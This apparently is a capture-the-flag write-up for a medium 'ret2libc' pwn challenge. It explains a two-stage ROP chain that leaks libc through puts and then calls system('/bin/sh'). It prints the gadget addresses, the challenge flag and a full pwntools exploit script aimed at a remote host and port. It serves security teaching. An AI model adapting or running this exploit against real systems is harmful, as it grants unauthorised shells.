0x00000000
← pwndbg> back

./ret2libc_

PWN MOJO-JOJO CTF 0x008cae62 by r3t0x
DESCRIPTION
Classic return-to-libc attack. The stack is non-executable, but libc is loaded and ready. Leak a libc address, calculate offsets, and chain system("/bin/sh") to claim your shell.
WRITEUP // WALKTHROUGH

The Archive's Whisper (ret2libc) — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Medium
Author r3t0x
Technique ret2libc via ROP Chain

Reconnaissance

pwndbg> checksec ./main
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

NX is enabled, so we can't execute shellcode on the stack. But with no canary, no PIE, and Partial RELRO, we can build a ROP chain to leak libc and call system("/bin/sh").

Exploit Strategy: Two-Stage ROP

Stage 1: Leak libc base

We use puts@plt to print the runtime address of puts@got, which leaks a libc pointer. Then we return to main for a second input.

payload = flat(
    b'A' * 72,         # offset to RIP
    POP_RDI, puts_got, # rdi = puts@got
    puts_plt,          # call puts(puts@got) → leaks libc addr
    main               # return to main for round 2
)

Stage 2: Spawn shell

With the leaked libc address, we calculate system() and "/bin/sh" addresses, then build the final chain.

payload = flat(
    b'A' * 72,
    RET,               # stack alignment
    POP_RDI, binsh,    # rdi = "/bin/sh"
    system             # system("/bin/sh")
)

Key Addresses

POP_RDI   = 0x40114a
RET       = 0x40114b
OFFSET    = 72 bytes

Result

[*] Stage 1: Leaking libc base...
[+] Libc base: 0x7f7a8c200000
[*] Stage 2: Spawning shell...
[+] Enjoy your shell!
$ cat flag.txt
MOJO-JOJO{r3t2l1bc_cl4ss1c_m0v3}
EXECUTION // EXPLOIT
$ python3 solve.py
#!/usr/bin/env python3
from pwn import *

binary = './main'
libc_path = './libc.so.6'

POP_RDI = 0x40114a
RET = 0x40114b
OFFSET = 72

# Libc offsets
PUTS_OFFSET = 0x805a0
SYSTEM_OFFSET = 0x53110
BINSH_OFFSET = 0x1a7ea4

def exploit(io):
    elf = ELF(binary, checksec=False)

    # Addresses
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    main = elf.symbols['main']

    # Stage 1: Leak libc
    log.info("Stage 1: Leaking libc base...")

    io.recvuntil(b'data:')

    payload = flat(
        b'A' * OFFSET,
        POP_RDI, puts_got,
        puts_plt,
        main
    )
    io.sendline(payload)

    # Parse leak
    io.recvline()
    leak = u64(io.recvline().strip().ljust(8, b'\x00'))

    libc_base = leak - PUTS_OFFSET
    system = libc_base + SYSTEM_OFFSET
    binsh = libc_base + BINSH_OFFSET

    log.success(f"Libc base: {hex(libc_base)}")

    log.info("Stage 2: Spawning shell...")

    io.recvuntil(b'data:')

    payload = flat(
        b'A' * OFFSET,
        RET,           # Align stack
        POP_RDI, binsh,
        system
    )
    io.sendline(payload)

    log.success("Enjoy your shell!")
    io.interactive()

if __name__ == '__main__':
    context.log_level = 'info'
    context.arch = 'amd64'

    if args.REMOTE:
        host = args.HOST or 'localhost'
        port = int(args.PORT or 2711)
        io = remote('4.233.210.175',9002)
    else:
        io = process(binary)

    exploit(io)